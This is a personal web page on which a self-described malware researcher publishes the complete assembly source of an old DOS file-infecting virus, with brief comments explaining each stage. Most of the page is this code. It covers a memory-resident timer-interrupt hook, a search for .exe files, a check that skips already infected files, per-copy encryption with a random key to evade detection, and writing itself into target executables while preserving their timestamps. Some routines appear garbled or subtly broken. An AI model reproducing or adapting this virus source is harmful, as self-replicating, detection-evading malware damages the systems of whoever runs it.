Home > Projects > Hello World
This code was written many years ago and is obsolete and will not work on 32-bit or 64-bit machines. It requires an emulator like DOSBox v0.74, an Intel x86 PC emulator, to run it. Enough years have passed I finally feel safe to release this code to the public.
For the most part I have studied malware over the last two decades. I have a huge collection of computer viruses and Trojan horses for research purposes. I have written viruses and Trojan horses in assembly language, C, VBA macros, and WHS.
I believe in the importance of understanding how malware works mainly as a source of self-protection from cyber criminals and governments. However, this strategy may have become antiquated -- especially with the WikiLeak "Vault 7" release of the CIA's hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and the revelation of large numbers of hackers employed by the U.S. government.
The virus hooks INT 8, and infects every 3.2 minutes. Not encrypted in memory. It encrypts every file uniquely to avoid detection and encrypts the encryption key too.
BLACKHEX.ASM
interrupt_number equ 8 .model tiny .code org 100h FIRST: jmp The_Beginning Signature db "**" Key db 2 SourceIndex dw 0 TempKeyCounter dw 0
First decrypt the Key.
The_Beginning: cmp TempKeyCounter,0 jnz DecTempKeyCounter ;if 0, then key = original value
If the key is the original value, we need to store it for the main body of code below to use.
mov al,Key mov TempKey,al ;store temporary key (unencrypted for use below) inc TempKeyCounter ;set counter to 1 jmp Encrypt_Continuation
This section is used if the key already is encrypted.
DecTempKeyCounter: ;counter = 1, so set to zero mov TempKeyCounter,0
Encryption and Decryption routine for the key.
Encrypt_Continuation: cld lea si,key mov di,si mov ah,key+9 mov cx,1 Encrypt_Key: mov al,Key xor al,ah loop Encrypt_Key mov Key,al jmp Start_enc TempKey db 0
This section decrypts the main code before it gets set up in memory.
Start_Enc: mov ax,ProgStart + 1 ;start point to encrypt mov SourceIndex,ax mov si,ax NKRPT_DKRPT: xor BYTE PTR [si],al add al,TempKey ;user stored key inc si cmp si,End_of_Program - 1 jz Set_Encryption loop NKRPT_DKRPT Set_Encryption: int 20h ;manually remove this, in debug jmp Load_Program ProgStart: PROG Proc push ax push bx push cx push dx push di push si push ds push es pushf call DWORD PTR CS:Old_Interrupt_Addr assume ds:@code mov ax,cs mov ds,ax
Timer to calculate how often to look for a file to infect.
mov cx,MinuteCounter inc cx mov MinuteCounter,cx cmp cx,0da6h ;3.2 minutes jb cs:exit xor cx,cx mov MinuteCounter,cx
Find a target file for possible infection.
FindFirstFile: mov ah,4eh mov cx,0 mov dx,offset WildCard int 21h cmp ax,00h jz FirstTest cmp ax,12h jz cs:exit FindNext: mov ah,4fh int 21h cmp ax,00h jz FirstTest cmp ax,12h jz cs:exit jmp cs:exit WildCard db "*.exe",00h MZBuffer dw 0 FileHandle dw 0 MemTest dw 0 MemSig db "Y" FileTime dw 0 FileDate dw 0 MinuteCounter dw 0 EndofHostFile dw 0 Old_Interrupt LABEL WORD Old_Interrupt_Addr DD
Test for a signature to avoid infecting file twice.
FirstTest: mov dx,9eh mov ax,3d02h int 21h mov FileHandle,ax mov bx,FileHandle mov ah,3fh mov cx,4 mov dx,offset MZBuffer int 21h mov ah,3eh int 21h mov bx,cs:[MZBuffer+2] cmp bx,2a2ah jz FindNext
Infection Routine get random key for new virus. Copy virus to buffer and encrypt the buffer then write to target file.
Random Seed Generator
mov ah,2ch ;get a new encryption key int 21h ;this same key will be transferred to the open file mov key,dl ;so that it can decrypt itself mov ax,cs mov ds,ax mov es,ax mov cx,End_of_Program mov si,offset 100h mov di,offset 0E000h cld rep movsb
Decrypt the Key.
cmp TempKeyCounter,0 jnz l_DecTempKeyCounter ;if 0 then key = original value
Since the key is the original value, we need to store it for the main body of code below to use.
mov al,Key mov TempKey,al ;store temporary key (unencrypted for use below) inc TempKeyCounter ;set counter to 1 jmp l_Encrypt_Continuation
This section is used if the key already is encrypted.
l_DecTempKeyCounter: ;counter = 1, so set to zero mov TempKeyCounter,0
Encryption and Decryption routine for the key.
l_Encrypt_Continuation: cld lea si,key mov di,si mov ah,key+9 mov cx,1 l_Encrypt_Key: mov al,Key xor al,ah loop l_Encrypt_Key mov Key,al
This section decrypts the main code before it gets set up in memory.
mov ax,cs mov ds,ax mov es,ax l_Start_Enc: mov ax,ProgStart ;calculate start point sub ax,100h ;of the code to be encrypted add ax,0e001h mov SourceIndex,ax mov si,ax l_NKRPT_DKRPT: xor BYTE PTR [si],al add al,TempKey ;user stored key inc si cmp si,End_of_Program + 0dfffh jz l_Infect loop l_NKRPT_DKRPT
Open the file now that the buffer is encrypted so that we can write the buffer to the open file.
l_Infect: mov ax,3d02h mov dx,9eh int 21h mov FileHandle,ax mov bx,FileHandle mov ax,5700h int 21h mov FileTime, cx mov FileDate, dx mov ah,40h mov cx,End_Of_Program mov dx,0e000h int 21h mov ax,5701h mov cx, FileTime mov dx, FileDate int 21h mov ah,3eh int 21h EXIT: pop es pop ds pop si pop di pop dx pop cx pop bx pop ax iret PROG endp LOAD_Program Proc
Test if virus is memory resident.
push di push si push ds push es mov bx,60h mov ds,bx mov cx,1 mov si,0 mov di,offset Memtest cld rep movsb pop es pop ds pop si pop di mov bx,MemTest cmp bx,59h ; Y jnz Memory_Not_Infected mov ah,4ch int 21h
Memory not infected. Make the virus memory resident.
Memory_Not_Infected: xor bx,bx mov bx,60h mov es,bx mov cx,1 mov si,offset MemSig mov di,0 cld rep movsb mov ah,35h mov al,interrupt_number int 21h mov Old_Interrupt,bx mov Old_Interrupt+2,es lea dx,Prog mov ah,25h int 21h End_All_Decode: lea dx,End_of_Program mov ax,3100h int 21h LOAD_Program endp db "END" End_of_Program: end FIRST